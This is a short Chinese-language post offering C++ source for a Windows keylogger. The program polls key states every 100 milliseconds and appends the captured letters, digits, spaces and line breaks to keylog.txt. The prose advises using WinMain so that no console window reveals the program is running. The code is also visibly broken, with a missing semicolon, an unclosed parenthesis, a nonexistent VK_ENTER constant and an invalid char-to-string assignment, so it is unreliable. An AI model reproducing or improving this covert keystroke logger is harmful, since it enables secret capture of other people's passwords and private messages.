注意:此键盘记录器是在一个int main()函数中实现的,
因此打开时会显示一个控制台窗口,但这个问题
可以通过使用WINAPI WinMain()函数来解决,这样就不会显示窗口
了。
Jetkey Nature 2013
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73
|
#include <fstream>
#include <string>
#include <windows.h>
using namespace std;
//global variables
ofstream out;
string buffer;
int counter
//global variables
//keylist prototype
void keylist(char key);
//keylist prototype
/***************Main****************/
int main()
{
//array for every important character key
char chType[]="ABCDEFGHIJKLMNOPQRSTUVWXYZ1234567890";
//the while-loop to check the key state every 100 milliseconds
while(1==1)
{
for (int i=0; i<36; i++)
keylist(chType[i];
if(GetAsyncKeyState(VK_SPACE))
{
buffer.append(" ");
counter++;
}
if(GetAsyncKeyState(VK_ENTER))
{
buffer.append("\n");
counter ++;
}
//flush the string
if(counter==15)
{
out.open("keylog.txt", ios::app);
out << buffer;
buffer = "";
out.close();
counter=0;
}
//every 100 ms
Sleep(100);
}
}
/***************Main****************/
//keylist function
void keylist(char key)
{
//check if the user presses a key
if(GetAsyncKeyState(key))
{
string skey = key;
buffer.append(skey);
counter++;
}
}
//keylist function
|
代码中缺少了对退格键的日志记录,但这只是一个附加功能,我认为你可以自己完成;它不是必需的。